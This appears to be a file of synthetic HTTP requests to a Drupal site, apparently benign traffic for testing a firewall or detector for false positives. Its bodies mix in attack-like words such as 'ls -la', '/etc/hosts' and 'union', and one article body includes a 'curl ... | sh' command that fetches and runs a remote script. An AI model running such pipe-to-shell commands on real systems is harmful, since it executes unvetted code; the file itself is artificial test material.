{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "DELETE", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": ""}
{"method": "POST", "target": "/user/logout?_format=json&token=aAL70H9lx1XrjIVcHIF12FLWwoi0YEwunehLXbSKZv4", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/search/user?keys=admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=python3-%2Fetc%2Fhosts-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/editor/filter_xss/full_html", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "value=&original_format_id=basic_html"}
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRCXQGBEZqRVGYEzF", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214990\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nSELECT a table: python3, ls -la and .htaccess\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Vl4RHWAalDXt4xlz9gkdfBjyRGaJHUU6FRlyea9EKkc\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nI1fDBOjGA9cTabBxXpM8PsNoHDj_jgNpDUfryW87JZQ\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\nNotes on python3 and powershell\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\"/python3-notes\">read the notes</a> or <a href=\"https://example.com/docs/setup.php?a=1&amp;b=2\">the docs</a>.</p><pre><code class=\"language-plaintext language-bash\">#!/bin/sh\r\ncat /etc/hosts | grep example &amp;&amp; ls -la\r\npython3 setup.py install\r\ncurl -s https://example.com/install.sh | sh\r\nSELECT name, mail FROM users WHERE uid = 1;\r\nconsole.log('ok'); document.getElementById('x');\r\nif (a == b) { echo $PATH; }\r\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li data-list-item-id=\"e0931e5bf5859e9ac55e1b80ed4b3ad82\">one</li><li data-list-item-id=\"e681549baddb3c36b7bcba5605e5831c2\">two</li></ul><table class=\"table\"><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"11111111-2222-4333-8444-555555555555\" data-entity-type=\"file\" alt=\"A photo\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nfull_html\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\nAdded ls -la and python3 notes\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/powershell-and-python3\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:10\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF--\r\n"}
{"method": "GET", "target": "/powershell-and-python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/powershell-and-python3", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D5%3Achanged%3D1794214996%26langcode%3Den&tokens%5B%5D=ita10VPYAXlTHzj0MBr00dObG7ftbasU9C1DjE2zOWI"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-r1mZS5F4tqXIdq44fjWFYuN-awBCxpW-K-BvoAAmkyk&form_token=8K6l4FhFSzSgw_JeQMFcuQ7zkooQehyqSkLCSKhLp5I&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+on+.htaccess&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+%3Ccode%3Els+-la%3C%2Fcode%3E+work+under+powershell+or+python3%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D2%3Achanged%3D1794214999%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo&tokens%5B%5D=ChhtBe1arN5N5VhzviQHD_VDytZgbZVB3u-2qOufzK8"}
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE7nrnHw1Pab3ZFls", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-VXabaXRkKe3hFQCBi49Nj8rAr5cTRZX5WNNCr-orKCE\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\n8VNEl_v41Qp_-ifKyOaSbJFXK8Q95OOmPua9eGqiTOw\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:20\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\ngtuOMELGPT-cRRR7C5yAGfDEzvpCn6gTPnJ4IefXf4E\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_3.png.avif?itok=yeYeqKgQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=python3&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/moderated?title=python3&moderation_state=All", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmoderated_content%3Alocation%3Dpage%26name%3Dmoderated_content%26display_id%3Dmoderated_content%26langcode%3Den&tokens%5B%5D=ZPCy2PWMDA1qxRmOrOGS24WKpHYbJym8Bd048r6MnIw"}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=python3&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
